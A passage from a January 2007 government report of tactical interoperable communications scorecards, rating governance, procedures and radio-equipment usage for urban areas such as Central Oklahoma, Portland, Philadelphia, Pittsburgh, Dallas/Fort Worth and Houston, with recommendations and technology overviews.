Plans, and appropriate ICS terminology.” The UA has begun incorporating the communications unit into its
command structure and indicated that this unit will participate in future training on its responsibilities.
Recommendations:
•
Continue to distribute SOPs throughout the UA, and train all participating agencies
•
Ensure all regional interoperability SOPs are in place, in practice, and increase proficiency in their use
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
The Toledo UA regularly uses shared channels and shared systems for day-to-day and mutual aid responses.
It was noted in the After Action Report that the UA demonstrated familiarity with and use of interoperable
communications equipment for effective communications (e.g., shared channels). However, some
deficiencies were observed. For example, the use of radio caches created problems when the radios were
distributed to agencies that were not trained on their use by the Communications Unit Leader. Additionally,
while multiple gateways were successfully used, some agencies were unable to communicate because of the
failure to establish a console patch.
Recommendations:
•
Regularly test and exercise deployment of regional interoperability resources to improve proficiency
(e.g., dedicated position available that understands operations and activation of the console patch)
•
Continue to involve additional state and federal agencies in training and exercises
•
Consider adding communications interoperability as component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The City of Toledo Police and the Fire and Rescue Departments use the Toledo 800 MHz trunked radio system. The
Lucas County Sheriff’s Office operates on an ultra high frequency (UHF) system; however, many command and control
personnel have access to the Toledo 800 MHz system. All other agencies within Lucas County are on various very high
frequency and UHF systems. Various agencies have access to the State of Ohio Multi-Agency Radio Communications
System (MARCS) 800 MHz digital trunked radios for command and control during incidents. All agencies within
Lucas County will migrate to the Countywide 800 MHz Digital Communications System which is designed to meet P25
standards, beginning in June/July 2007. Interoperability is achieved through cached radios, gateways, and shared
channels (on the Toledo system, and National Public Safety Planning Advisory Committee and MARCS).
Urban/Metropolitan Area
A-80
January 2007
Tactical Interoperable Communications Scorecards
Central Oklahoma, OK
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Established Implementation
The Central Oklahoma Urban Area (UA) is composed of Oklahoma Office of Homeland Security (OKOHS) Regions 6
(Logan, Lincoln, Pottawatomie, Cleveland, McClain, Canadian counties and the cities contained therein) and Region 8
(Oklahoma City and Oklahoma County and the cities contained therein).
Governance: Intermediate Implementation
10%
10%15%
15%
The Central Oklahoma Urban Area Security Initiative (COUASI) Working Group is comprised of 26 executive level
individuals who represent more than 13 response, governance, and public safety disciplines. The Working Group
established the Interoperable Communications Subcommittee to create the Tactical Interoperable Communications Plan
(TICP). The subcommittee is comprised of technical communications experts on each of the communications networks
within the COUASI. The Subcommittee currently includes limited local public safety organizations, but is working to
expand membership (e.g., to include rural fire and law enforcement agencies). Additional local, state, and federal
participation will assist in further developing interoperable communications in the UA. Beyond the TICP, there are
only some formal agreements among local law enforcement and fire, and the UA is working to create additional formal
partnerships among the remaining agencies in the area. From the information provided, COUASI does not have a
documented and formal strategic plan for regional communications interoperability. Organizations appear to develop
their budgets and procure communications equipment with consideration for regional interoperability. However, the
UA does not seem to have a sustainable funding plan in place for lifecycle communications system costs. The UA’s
leadership demonstrates an understanding of the importance of interoperable communications and is providing fiscal
and political support (e.g., initiating sales tax funding, and mayoral representative on communications subcommittee).
The establishment of sales taxes to support communications improvement is commendable.
Recommendations:
•
Expand Interoperable Communications Subcommittee membership to include rural, state, federal, and tribal
agencies in addition to State Department of Homeland Security and the Federal Bureau of Investigation (FBI)
•
Consider further integration of technical and operational working groups to ensure requirements are met
•
Reference all applicable agreements (e.g., memorandum of understanding [MOU], intergovernmental agreements)
in the TICP and store them in an accessible format
•
Document and formalize agreements (e.g., signed MOUs with defined roles and responsibilities) among all
participating agencies to support partnerships on regional interoperability and establish a regular review process
•
Develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP) with
participant approval, adoption, and acceptance, that takes into account a long-term funding strategy
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Initiate development and implementation of a regional approach to long-term (e.g. 3 to 5 years) interoperability
planning and sustainable funding that is consistent with the strategic plan
•
Continue to involve senior government leadership on interoperability
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The SOPs included in COUASI’s TICP represent the area’s first consensus interoperable communications plan. The
absence of a formal set of interoperability SOPs prior to the TICP development process indicates that public safety
agencies in the UA have not, until recently, been conforming to a single set of SOPs, and familiarity must be less than
optimal. The UA is taking steps to disseminate the newly created SOPs and has plans for conducting training on them.
10%
10%15%
15%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-81
January 2007
Tactical Interoperable Communications Scorecards
During the exercise, the participants experienced some procedural problems with shared channels and would benefit
from adding region-specific policies and procedures to the TICP. Although National Incident Management System
(NIMS)/Incident Command System (ICS) implementation began less than 1 year ago, the participants in the TICP
validation exercise demonstrated familiarity with the processes and only had a few minor problems (e.g.,
Communications Unit Leader [COML] designation was not officially announced, lack of communication between the
COML and dispatch, as their procedures required). The annual review process for the COML training requirements and
procedures and OKOHS compliance process demonstrate the UA’s clear dedication to NIMS/ICS, which is
commendable and recommended as a best practice.
Recommendations:
•
Continue to develop and distribute regional interoperability SOPs (beyond the TICP), and put them into practice
through regular training, exercise, and use (e.g., dispatch center and COML communications)
•
Consider scheduling a regular review and update process of policies and procedures
•
Continue basic and advanced training and exercises on SOPs (include communications unit implementation
consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS
compliance
•
Ensure that the best practice of having oversight committee to monitor NIMS/ICS training remains a regional
priority
Usage: Established Implementation
15%
20%
20%
20%
COUASI frequently uses the available means of interoperable communications (e.g., shared channels, shared systems,
and gateways) in day-to-day activities. During the exercise, the first responder participants were able to establish
communications with the interoperable equipment with minimal problems (e.g., some difficulties in using shared
channels). Despite these demonstrated successes and although the TICP validation exercise met set standards, broader
state and federal agencies were not widely included. Assessing the degree to which the local agencies in the UA can
easily use interoperable communications equipment with state and federal agencies was therefore limited. The UA is
encouraged to build on its success by further integrating state, federal, tribal, and support agencies in future tests.
Recommendations:
•
Regularly test and exercise deployment of regional communications interoperability resources (e.g., emergency
medical services [EMS] had difficulty with shared channels) to improve proficiency
•
Consider including additional state and federal agencies (e.g., Oklahoma Department of Transportation, FBI) in
future exercises and day-to-day use
•
Consider adding communications interoperability as an evaluation component for all future exercises and daily
activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The UA has made great strides toward achieving its vision of consistent 800 MHz interoperable communications
system. Each city in the UA uses a radio system for its jurisdictional police, fire, and EMS agencies. Each radio is
configured with interoperability channels that are shared with other agencies. No interoperable talk groups are
identified in the TICP that are used by agencies outside of the system jurisdiction. Cross-jurisdictional interoperability
requires technology such as gateways or shared frequencies. Four gateways are available but the 64-port Causeway
Switch managed by Oklahoma City provides the greatest degree of interoperability. National Public Safety Planning
Advisory Committee channel usage and Emergency Operations Center coordination are minimal in this UA. In the
future, Oklahoma City plans to implement a crossband switch that will connect mutual aid channels. In addition, the
State of Oklahoma has a 5-year plan to extend its Motorola 800 MHz trunked system along major highways (i.e., I35,
I44, and I40 East).
Urban/Metropolitan Area
A-82
January 2007
Tactical Interoperable Communications Scorecards
Portland, OR
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Established Implementation
The Portland Urban Area (UA) includes the Oregon counties of Clackamas, Columbia, and Multnomah, and
Washington, and Clark County in Washington State.
Governance: Intermediate Implementation
10%
10%15%
15%
The Portland Dispatch Center Consortium (PDCC) across and the associated Urban Area Security Initiative
communications working group provide coordination in the area for communications interoperability issues.
The PDCC was established by intergovernmental agreement and has been formalized through a charter for
more than 3 years. Some formal partnerships among participating agencies exist through memoranda of
understanding (MOU), while other jurisdictions still operate through informal cooperation. The five counties
in the UA have developed strategic plans, and the Portland UA is now in the process of consolidating these
county plans into an overarching regional strategic plan for communications interoperability. As such, the
UA does not have an accepted strategic plan. The Portland UA indicated that members have come together
to pursue a regional approach to funding; however, their interoperability priorities appear to be driven by
available grants rather than a long-term, sustainable funding strategy. This funding strategy, as well as
support from local and state leaders, will be critical as key shared systems approach the end of their
lifecycles.
Recommendations:
•
Involve state and federal organizations (i.e., include applicable State of Washington agencies) in the
decision-making group, document roles and responsibilities, and
•
Ensure that the UA becomes actively engaged in state communications interoperability committee efforts
•
Document and formalize agreements (e.g., MOUs) among all participating agencies to support
partnerships on regional interoperable communications
•
Continue to develop and implement a strategic planning process (beyond the Tactical Interoperable
Communications Plan [TICP]), with participant approval, adoption, and acceptance
•
Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met
•
Encourage the development of a regional interoperability funding strategy inclusive of long-term (e.g., 3
to 5 years) funding sources (in addition to grants)
•
Continue to broaden and champion a governance structure that would more fully support regional
communications interoperability
•
Consider the direct involvement of a high-level official, with political and fiscal authority, to specifically
focus on interoperable communications.
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The Portland UA TICP represents the first formal regionwide interoperable communications SOPs or the
area. Prior to the development of the TICP, the UA had informal, undocumented SOPs that were
incorporated into the TICP. The UA has taken steps to distribute the interoperable communications SOPs
10%
10%15%
15%
15%
20%
20%
20%
10%
10%15%
15%
Urban/Metropolitan Area
A-83
January 2007
Tactical Interoperable Communications Scorecards
(e.g., distributing the policies through the TICP Implementation Workshop, including applicable SOPs with
gateways and radio caches). In regards to command and control procedures, the Portland UA is in the
process of implementing the National Incident Management System (NIMS)/Incident Command System
(ICS), and training is ongoing. The TICP validation exercise demonstrated some gaps with the
communications procedures set forth by NIMS/ICS and the communication unit, specifically how the
communications unit did not precede the unit identifier with agency name, and no name was given to the
incident.
Recommendations:
•
Document, update, and put into practice regional communications interoperability SOPs, and continue to
disseminate them throughout the UA
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Portland UA uses shared systems and shared channels on a daily basis. Agencies report the regular use
of gateway systems, which are needed to connect disparate 800 megahertz (MHz) and very high frequency
(VHF) systems. The UA demonstrated successful use of each category of interoperable equipment during
the TICP exercise. For example, the local and regional first responders were able to communicate with other
units using a set of shared talk groups and shared channels. The level of familiarity and frequency of use of
interoperable communications equipment among local first responders was adequate, but the degree to which
this proficiency extends to interoperability with state and federal agencies is not identified as such agencies
were not fully involved in the exercise. The Portland UA is encouraged to build on this success by further
incorporating state, federal, and support agencies in its TICP and future exercises.
Recommendations:
•
Involve state and federal agencies in training and exercises
•
Regularly test and exercise the deployment of regional interoperability resources to improve proficiency
(e.g., radio cache)
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Portland UA has a number of shared radio systems operating primarily in the 800 MHz and VHF bands.
Communication between systems in different bands is established using gateways in conjunction with the national
mutual aid frequencies.
The Portland UA is currently planning for 800 MHz re-banding. In conjunction with the required reprogramming
associated with the re-banding process, the Portland UA will simultaneously establish common naming conventions for
talk groups on the regional shared systems. Some of the shared systems provide overlapping coverage. Thus, a single
regional Project 25 shared system is a potential next step for the UA.
Urban/Metropolitan Area
A-84
January 2007
Tactical Interoperable Communications Scorecards
Philadelphia, PA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Intermediate Implementation
The Philadelphia Urban Area (UA) includes Bucks, Chester, Delaware, Montgomery, and Philadelphia
counties. In addition, the UA has expanded to include the following: Camden, Gloucester, Salem,
Burlington, and Cumberland counties in New Jersey and New Castle County in Delaware.
Governance: Intermediate Implementation
10%
10%15%
15%
The Philadelphia UA communications subcommittee reports to the Southeastern Counter Terrorism Task
Force and includes local, state, and federal participating agencies (e.g., ports authorities, State Police, U.S.
Coast Guard). Based on the provided documentation, it was not noted whether the subcommittee has
established authorities (through a published charter) or clearly delineated roles and responsibilities. The UA
has formal partnerships among the public safety organizations and formal agreements among most of the
agencies in the UA (specifically the counties in Pennsylvania), which facilitates partnerships and multi-
agency coordination. However, the formal agreements and partnerships do not yet include all first responder
agencies from the New Jersey (where individual counties do not have the power to enter into a mutual aid
agreement and must involve the state government for approval) and Delaware counties included in the
recently expanded UA. The Philadelphia UA is developing a strategic plan for interoperable
communications, but no plan is yet published. Completing and distributing a plan would aid in solidifying
interoperability goals that take into account all counties in the designated UA. Using Urban Area Security
Initiative funds, the UA develops budgets and procures equipment according to strategic interoperability
goals; however, it is unclear how sustainable operations and maintenance funding for interoperability
equipment and solutions will be obtained.
Recommendations:
•
Consider distributing a formal charter to all participating agencies and continue to meet regularly and
proactively recruit new participants
•
Put into practice agreements (e.g., memoranda of understanding) and establish processes to develop and
review agreements at least every 3 to 5 years and after significant events or upgrades
•
Develop, document, and implement a regional strategic plan (beyond the operational focus of the
Tactical Interoperable Communications Plan [TICP]) with participant approval, adoption, and
acceptance, that takes into account a long-term communications funding strategy (in addition to grants)
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Identify long-term (e.g., 3 to 5 years) sustainable funding for communications interoperability in addition
to grants
•
Involve senior government leadership broadly across the UA on interoperability
•
Ensure that discipline-specific leadership is actively involved in promoting the adoption of the National
Incident Management System (NIMS)/Incident Command System (ICS)
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20% 20%
The Philadelphia UA has incorporated existing policies, practices, and procedures into its TICP and is
developing system usage rights for inclusion in the plan. The UA distributed its SOPs to all included
10%
10%15%
15%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-85
January 2007
Tactical Interoperable Communications Scorecards
organizations and participated in the TICP Implementation Workshop to train the participating agencies on
the SOPs. Although the UA had existing SOPs and provided training on them, the participants experienced
some minor procedural problems during the TICP validation exercise (e.g., dropped initial gateway patch,
activation procedures were not strictly followed). Despite officially implementing the NIMS/ICS less than 1
year ago, the exercise evaluators reported that the Philadelphia UA’s agencies demonstrated “textbook
deployment” of incident command, and the Communications Unit Leader effectively performed his duties
during the exercise. Officials within the area indicated that further training to expand NIMS/ICS
implementation beyond fire services was being established.
Recommendations:
•
Put regional communications interoperability SOPs (beyond the TICP) into practice through regular
training (e.g., in-service refreshers and basic training courses), exercises, and usage to increase
proficiency in implementation of these policies (e.g., to correct gateway issues with activation
procedures)
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
The Philadelphia UA reports the ability to use communications interoperability solutions well in task force
situations. For day-to-day events, however, the TICP validation exercise demonstrated that “some
participants have not had sufficient practice in the use of the equipment.” While the interoperable
communications equipment (e.g., shared systems, shared channels, gateways) was generally effectively
demonstrated during the TICP validation exercise, the exercise evaluators and the After Action Report
clearly indicate that some participants were unfamiliar with the interoperable equipment and assets. A full
understanding of all agencies’ capability within the UA is hard to gauge given that the TICP validation
exercise did not include broad participation by agencies within the Philadelphia UA, or counties in Delaware
in New Jersey due to the expedited timeline for completion and conflict with another regional exercise.
Recommendations:
•
Implement a regular training schedule (e.g., in-service refreshers and basic training courses) and regular
exercises that put regional communications interoperability equipment into practice to increase
proficiency
•
Consider adding communications interoperability as a component of all future exercises across the UA
and ensure that all jurisdictions within the area are involved in such events
Below is a summary of the area's existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Philadelphia UA operates 19 separate communications systems, including very high frequency, ultra high
frequency, 500 megahertz (MHz), and 800 MHz conventional and trunked systems to support various public safety
agencies. The City of Philadelphia operates an 800 MHz, Motorola SmartZone™ system. Limited interoperability is
provided using gateways, radio caches, and shared channels. The Southeastern Pennsylvania Transportation Authority
operates a SyTech Radio Inter-Operability System (RIOS) gateway, which it allows county and city agencies access
upon request to improve interoperability among regional responders. The mid-term strategy for the UA is to implement
a microwave communication system and voice radio network that will provide secure communications links between 11
county dispatch and 11 Emergency Operations Centers in the UA.
Urban/Metropolitan Area
A-86
January 2007
Tactical Interoperable Communications Scorecards
Pittsburgh, PA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Pittsburgh Urban Area (UA) includes the City of Pittsburgh and the counties of Allegheny, Armstrong,
Beaver, Butler, Cambria, Fayette, Greene, Indiana, Lawrence, Mercer, Somerset, Washington, and
Westmoreland.
Governance: Established Implementation
15%
20%
20% 20%
The governance structure developed by the Pittsburgh UA can serve as a model for other jurisdictions. It is
based on 8 years of success in working regionally across a complex mix of jurisdictions to develop published
and active mutual aid agreements and communications interoperability solutions (e.g., Southwestern
Pennsylvania Emergency Response Group). The Pittsburgh UA leadership is a model for other UAs that
include a large number of jurisdictions. The UA has an existing plan for strategic and operational
interoperable communications efforts. However, no regular review process for the strategic plan has been
established. Public safety agencies in the Pittsburgh UA develop budgets based on strategic goals of the area
and work to ensure that equipment purchases are compatible. However, there is no regional solution for
recurring and lifecycle costs because grants are the main source of funding.
Recommendations:
•
Identify a regular (i.e., annual) review cycle to update regional strategic plan
•
Encourage regional interoperability funding strategy, including long-term (e.g., 3 to 5 years) funding
sources to cover operations, maintenance, and other recurring costs (in addition to grants)
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Pittsburgh UA Tactical Interoperable Communications Plan (TICP) is built on existing formal and
informal policies and procedures for interoperable communications that have been in place for a number of
years. In general, the UA demonstrated some success in the use of SOPs during the TICP validation
exercise, but a few gaps were displayed (e.g., unit identifiers not correctly used, problems with fixed and
mobile gateways) that highlight minor weaknesses in the application of the SOPs. The UA is currently
addressing these issues and plans to finish documenting and disseminating updated SOPs to all agencies by
March 2007. Although the Pittsburgh UA first responders have not yet fully implemented the National
Incident Management System (NIMS)/Incident Command System (ICS), they are making excellent progress
toward developing and disseminating NIMS-compliant SOPs.
Recommendations:
•
Consider regularly exercising SOPs that test the UA’s proficiency (e.g., document shared channels), and
distribute updated plans to all included organizations
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
15%
20%
20%
20%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-87
January 2007
Tactical Interoperable Communications Scorecards
Usage: Established Implementation
15%
20%
20%
20%
Currently, there is adequate communications interoperability within each of the 13 counties, but limited
interoperability among the 13 counties and the State of Pennsylvania. During the TICP validation exercise,
Pittsburgh demonstrated the ability to regularly and successfully use existing interoperability equipment and
showed proficiency and familiarity with some communications equipment including radio caches and shared
channels. However, during the TICP validation exercise, users displayed some difficulty in using specific
interoperability solutions (e.g., deactivation procedure for gateways). For example, the TICP validation
exercise exposed some problems with patching the Westmoreland County public safety agencies (e.g., police
department, fire department) 800 megahertz (MHz) system to a channel used by the incident command.
Assessing the degree to which the local agencies in the UA can easily use interoperable communications
equipment with state and federal agencies was not possible. While the exercise met the stated requirements,
the area is encouraged to build on its success by further integrating state, federal, tribal, and support agencies
in future tests.
Recommendations:
•
Continue to train and exercise on available technology (e.g., gateway solutions) to improve familiarity of
use, and work toward seamless integration of interoperable communications solutions
•
Consider adding communications interoperability as a component of all future exercises to continue to
build awareness of and fluency with communications interoperability resources
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Pittsburgh UA, Pennsylvania Region 13, has 102 shared systems. The 13 counties have various systems including
ultra high frequency (UHF), very high frequency (VHF), 800 MHz Motorola trunked systems, and 700 MHz systems.
Currently, there is adequate communications interoperability within each of the 13 counties, but limited interoperability
among the 13 counties and the State of Pennsylvania. Pennsylvania has a statewide 800 MHz system and a M/A-COM
Open Sky™ System that is shared with the 13 counties in the UA. The UA uses shared channels, gateways, (15
mobile, 4 fixed), and console patches (not gateways).
Thirty-four agencies have radio caches, including 800 MHz, dual band 700 MHz and 800 MHz, UHF, and VHF High
Band radios, for a total of around 583 cache radios. The Pittsburg UA is planning to use shared channels, gateways, and
radio caches to improve communications interoperability among 1,400 agencies spread out over 1,200 square miles.
There are no additional technology initiatives planned for improving communications interoperability at this time.
Urban/Metropolitan Area
A-88
January 2007
Tactical Interoperable Communications Scorecards
Dallas/Fort Worth, TX
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
The Dallas/Fort Worth Urban Area (UA) includes the cities of Dallas, Fort Worth, and Arlington, as well as
designated public safety agencies located in Collin, Dallas, Denton, Johnson, Kaufman, Parker, Rockwall,
Tarrant, and Wise counties.
Governance: Intermediate Implementation
10%
10%15%
15%
Through the North Central Texas Council of Governments (NCT COG) structure, a regional communications
committee has taken key steps on communications interoperability issues since its formation in October
2005. One key step has been the creation of a Regional Interoperable Communications Agreement that was
recently approved by the communications committee. Dallas/Fort Worth officials indicated that they had
come together to pursue regional funding; however, their communications interoperability priorities appear
to be driven by available grants rather than a long-term funding strategy that would take into account
diversified and sustainable funding sources. This is an issue that the area is currently addressing. With
almost 300 agencies involved in interoperability efforts, it was difficult to determine whether the UA had
coordinated all necessary published and active regional agreements to include all public safety organizations.
Most Dallas/Fort Worth UA organizations have memoranda of understanding (MOU) in place with the state,
and with federal agencies (e.g., Federal Bureau of Investigation). Dallas/Fort Worth has also faced the
challenge of getting all participating organizations to adopt a regional interoperability strategic plan (beyond
the operational focus of the Tactical Interoperable Communications Plan [TICP]) because of the large
number of agencies. Given the large number of agencies that are included in the Dallas/Fort Worth UA,
challenges exist for identifying and including all of the necessary agencies in interoperable communications
activities (e.g., formalizing all partnerships in agreements, gaining acceptance on interoperable
communications plans).
Recommendations:
•
Continue to develop published and active agreements (e.g., MOUs) to facilitate interoperability with all
public safety organizations within the UA
•
Develop a regional strategic plan for communications interoperability and obtain acceptance from all
participants
•
Encourage the development of a regional interoperability funding strategy, including sustainable (e.g., 3
to 5 years) funding sources (in addition to grants) that address long-term communications
interoperability needs
•
Establish, as a priority across the UA, regional interoperability procedures and associated training that
are accepted by leadership
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The Dallas/Fort Worth UA TICP represents the first formal interoperable communications regional SOPs for
the area. Prior to the development of the TICP, the UA had informal SOPs to facilitate regionwide
communications interoperability; these distinct SOPs were combined in the TICP. However, as noted in the
10%
10%15%
15%
10%
10%15%
15%
10%
10%15%
15%
Urban/Metropolitan Area
A-89
January 2007
Tactical Interoperable Communications Scorecards
TICP Peer Review, the SOPs are not standardized throughout the UA. Additionally, the UA has not
identified a specific time to provide training on the SOPs. In regards to command and control practices, the
UA has implemented the National Incident Management System (NIMS)/Incident Command System (ICS)
more than 6 months ago across all disciplines. This short time frame for implementation could be the reason
that the UA demonstrated some deficiencies in following the NIMS/ICS practices (e.g., the designation of a
Communications Unit Leader did not occur until later in the exercise) during its exercise.
Recommendations:
•
Standardize regional policies, practices, and procedures that can be agreed upon throughout the
participating jurisdictions
•
Ensure regional SOPs for command and control are NIMS/ICS-compliant
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
While multi-agency communications within a jurisdiction occur daily on the UA’s shared systems,
Dallas/Fort Worth officials reported that multijurisdictional/multicounty interoperability (i.e., when an
agency leaves its home system) has been a challenge. As indicated in the After Action Report, there was a
lack of local and regional designated interoperability talk groups during the TICP validation exercise (e.g.,
Arlington Police Department and Arlington Fire Department used different command channels since there
was no talk groups designated for the use of unified command). In general, interoperable communications
should be regularly exercised to better identify and address potential gaps, as were identified in the TICP
validation exercise, which showed both technical and procedural issues with providing a coordinated
response.
Recommendations:
•
Ensure the correct interoperability channels are programmed into gateways and radio channel
programming documentation is available (as recommended in the After Action Report as well)
•
Continue to regularly test and exercise the deployment of regional communications interoperability
resources to improve proficiency in their application
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The large UA uses very high frequencies (VHF) with both analog and Project 25 (P25)-compliant radio systems, ultra
high frequencies for the City of Dallas, and the 800 megahertz (MHz) band with both M/A-COM and Motorola 800
MHz trunked equipment being employed. There are also several 800 MHz conventional mutual aid channels. The
Department of Justice has implemented a two-channel interoperability system consisting of two repeaters—one in
Dallas and one in Fort Worth—which are VHF P25 compatible. In addition, many gateways and consoles are available
for patching communications resources in the UA.
Because of frequency limitations in the Dallas/Fort Worth UA, not many changes can be made to interoperable
communications in the UA at this time. Eventually, the NCT COG would like to see the expansion of TICP to
surrounding counties and smaller jurisdictions, specifically at schools and universities, hospitals, and secondary public
safety answering points. The NCT COG hopes to create more mutual aid talk groups on the Fort Worth 800 MHz
trunked system to be used with Tarrant and Denton counties and possibly to be implemented during the upcoming
rebanding of the 800 MHz public safety spectrum.
Urban/Metropolitan Area
A-90
January 2007
Tactical Interoperable Communications Scorecards
Houston, TX
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Houston Urban Area (UA) includes the City of Houston and five surrounding counties: Harris,
Montgomery, Fort Bend, Brazoria, and Galveston.
Governance: Intermediate Implementation
10%
10%15%
15%
The Houston Urban Area Working Group Executive Committee established the Regional Interoperable
Communications Committee (RICC). The RICC has both technical and operations working groups and
advises the Executive Committee on interoperable communications issues. Houston officials indicated that
the RICC is formalized; however, decision-making authority in the governance structure is not clearly
defined in the Tactical Interoperable Communications Plan (TICP). Houston officials note that agreements
governing communications interoperability among agencies exist (e.g., memoranda of understanding,
channel plans), but it appears that many of these partnerships are informal and not documented. Strategic
planning is particularly critical for the Houston UA as the region upgrades its 800 megahertz (MHz) system
and the City migrates its current system to a 700 MHz. The region indicates that monthly meetings are held
to coordinate this migration and to develop a broader strategic plan. However, such a plan has not yet been
published. In some cases, individual jurisdiction leadership has made interoperability a funding priority (as
suggested by the City of Houston’s approval of the initial 25 percent of the cost of its new radio system).
However, other jurisdictions appear to have been less successful in developing and pursuing long-term
funding strategies beyond grant programs. This issue would be best addressed by developing a strategic plan
that includes a longer term funding strategy to obtain diversified and sustainable funding for regionwide
interoperable communications solutions.
Recommendations:
•
Establish a formal charter to clarify roles and responsibilities for all local, state, and federal participants
in the governance structure and expand the decision-making group’s role to focus on communications
interoperability policy and operations
•
Document and formalize agreements (e.g., participate in statewide efforts in developing memoranda of
understanding) among all participating agencies to support partnerships on regional interoperability
•
Dedicate an individual within the UAWG RICC to manage and update agreements in place
•
Align local and state strategic planning efforts by continuing the development and documentation of a
strategic plan (beyond the operational focus of the TICP) for approval, acceptance, and adoption by all
participating agencies to ensure that regionwide interoperability needs are met
•
Establish interagency communications as a requirement for new systems in the area through a
regionwide strategic plan
•
Develop and implement a regional approach to long-term (e.g., 3 to 5 years) interoperability planning
and sustainable funding beyond only allocating resources for individual systems
•
Champion a governance structure that would more fully support a regional strategic plan
•
Involve senior government leadership broadly across the UA in interoperability and encourage long-term
(e.g., 3 to 5 years) regional funding plans
10%
10%15%
15%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-91
January 2007
Tactical Interoperable Communications Scorecards
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The TICP provides the first formal regional communications SOPs for the Houston UA. Prior to the
development of the TICP, the UA had informal SOPs among jurisdictions, but the documentation reviewed
does not indicate whether the informal SOPs were specifically for regional interoperable communications.
The UA has taken steps, including participation in the TICP Implementation Workshop, to distribute these
newly established policies. In regards to command and control procedures, the Houston UA has
implemented the National Incident Management System (NIMS)/Incident Command System (ICS) as the
official incident response protocol through an executive order. Additionally, the UA has ensured that
mandated training and certification is completed. Exercise evaluators indicated that the UA fully
demonstrated the use of NIMS/ICS by properly implementing the communications unit and Communications
Unit Leader position SOPs.
Recommendations:
•
Document and distribute regional communications interoperability SOPs (beyond the TICP), and put
them into practice through regular training (e.g., in-service refreshers and basic training courses),
exercises, and daily usage
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
Multi-agency communications in the Houston UA is primarily provided through two major shared systems
(Harris County 800 megahertz [MHz] and City of Houston ultra high frequency [UHF]). Because of the
systems’ disparate bands, communications personnel regularly and proficiently use a permanent fixed
gateway to link the systems. In carrying out the TICP validation exercise, the Houston UA showed effective
command and line-level communications across multiple jurisdictions and disciplines. The UA listed
numerous state and federal agencies in the TICP that were not present during the TICP validation exercise,
the exclusion of which limited the demonstration of effective interoperability solutions among agencies at all
levels of government. Including broader levels of government and public support disciplines would help
ensure increased familiarity of interoperability resources across all response agencies.
Recommendations:
•
Continue to include interoperability as a component for all future exercises and day-to-day activities
•
Consider including additional state and federal agencies (e.g., Customs and Border Protection, U.S.
Secret Service) in future exercises and day-to-day use
Below is a summary of the area's existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The UA identified two shared systems in the area, with the Harris County 800 MHz system supporting the most users.
The City of Houston operates on a large, conventional, UHF system and routinely communicates with other agencies on
different radio systems. Several mobile gateways and many channels can be connected via console patches, and radio
caches are available in the area for interoperability. The Harris County 800 MHz system is beginning an upgrade to a
Project 25 700/800 MHz integrated voice and data system. The current system is more than 16 years old and must be
replaced. The City reviewed several options for the current UHF system and is presently in the preliminary planning
stages for its migration to 700 MHz.
Urban/Metropolitan Area
A-92
January 2007
Tactical Interoperable Communications Scorecards
